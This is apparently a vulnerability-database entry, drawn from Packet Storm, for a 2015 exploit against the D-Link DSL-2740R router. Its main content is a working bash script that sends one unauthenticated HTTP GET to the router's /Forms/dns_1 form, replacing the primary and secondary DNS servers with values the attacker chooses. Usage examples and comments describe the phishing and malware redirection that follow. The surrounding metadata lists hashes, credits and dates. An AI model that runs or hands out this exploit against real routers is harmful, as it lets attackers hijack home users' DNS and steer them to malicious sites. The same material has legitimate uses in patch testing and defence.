ID

VAR-E-201501-0464


TITLE

D-Link DSL-2740R Unauthenticated Remote DNS Change

Trust: 0.5

sources: PACKETSTORM: 130113

DESCRIPTION

Exploit for remotely changing DNS settings on the D-Link DSL-2740R router.

Trust: 0.5

sources: PACKETSTORM: 130113

AFFECTED PRODUCTS

vendor:d linkmodel:dsl-2740rscope: - version: -

Trust: 0.5

sources: PACKETSTORM: 130113

EXPLOIT

#!/bin/bash
#
# D-Link DSL-2740R Unauthenticated Remote DNS Change Exploit
#
# Copyright 2015 (c) Todor Donev <todor.donev at gmail.com>
# http://www.ethical-hacker.org/
#
# Description:
# Different D-Link Routers are vulnerable to DNS change.
# The vulnerability exist in the web interface, which is
# accessible without authentication.
#
# ACCORDING TO THE VULNERABILITY DISCOVERER, MORE D-Link
# DEVICES MAY AFFECTED.
#
# Once modified, systems use foreign DNS servers, which are
# usually set up by cybercriminals. Users with vulnerable
# systems or devices who try to access certain sites are
# instead redirected to possibly malicious sites.
#
# Modifying systems' DNS settings allows cybercriminals to
# perform malicious activities like:
#
# o Steering unknowing users to bad sites:
# These sites can be phishing pages that
# spoof well-known sites in order to
# trick users into handing out sensitive
# information.
#
# o Replacing ads on legitimate sites:
# Visiting certain sites can serve users
# with infected systems a different set
# of ads from those whose systems are
# not infected.
#
# o Controlling and redirecting network traffic:
# Users of infected systems may not be granted
# access to download important OS and software
# updates from vendors like Microsoft and from
# their respective security vendors.
#
# o Pushing additional malware:
# Infected systems are more prone to other
# malware infections (e.g., FAKEAV infection).
#
#

if [[ $# -gt 3 || $# -lt 2 ]]; then
echo " D-Link DSL-2740R Unauthenticated Remote DNS Change Exploit"
echo " ================================================================"
echo " Usage: $0 <Target> <Preferred DNS> <Alternate DNS>"
echo " Example: $0 192.168.1.1 8.8.8.8"
echo " Example: $0 192.168.1.1 8.8.8.8 8.8.4.4"
echo ""
echo " Copyright 2015 (c) Todor Donev <todor.donev at gmail.com>"
echo " http://www.ethical-hacker.org/"
exit;
fi
GET=`which GET 2>/dev/null`
if [ $? -ne 0 ]; then
echo " Error : libwww-perl not found =/"
exit;
fi
GET "http://$1/Forms/dns_1?Enable_DNSFollowing=1&dnsPrimary=$2&dnsSecondary=$3" 0&> /dev/null <&1

Trust: 0.5

sources: PACKETSTORM: 130113

EXPLOIT HASH

LOCAL

SOURCE

md5: 2d4b977af05f1ec7c47a71f12d2a1629
sha-1: e03ec81de31fc928fdf09580af253ed6f7a46f34
sha-256: 12bcee98da8a2545e67c0fd61295e3e76c43d64f193a59bac3a91c594c824b90
md5: 2d4b977af05f1ec7c47a71f12d2a1629

Trust: 0.5

sources: PACKETSTORM: 130113

PRICE

free

Trust: 0.5

sources: PACKETSTORM: 130113

TAGS

tag:exploit

Trust: 0.5

sources: PACKETSTORM: 130113

CREDITS

Todor Donev

Trust: 0.5

sources: PACKETSTORM: 130113

EXTERNAL IDS

db:PACKETSTORMid:130113

Trust: 0.5

sources: PACKETSTORM: 130113

SOURCES

db:PACKETSTORMid:130113

LAST UPDATE DATE

2022-07-27T09:11:52.951000+00:00


SOURCES RELEASE DATE

db:PACKETSTORMid:130113date:2015-01-27T18:44:44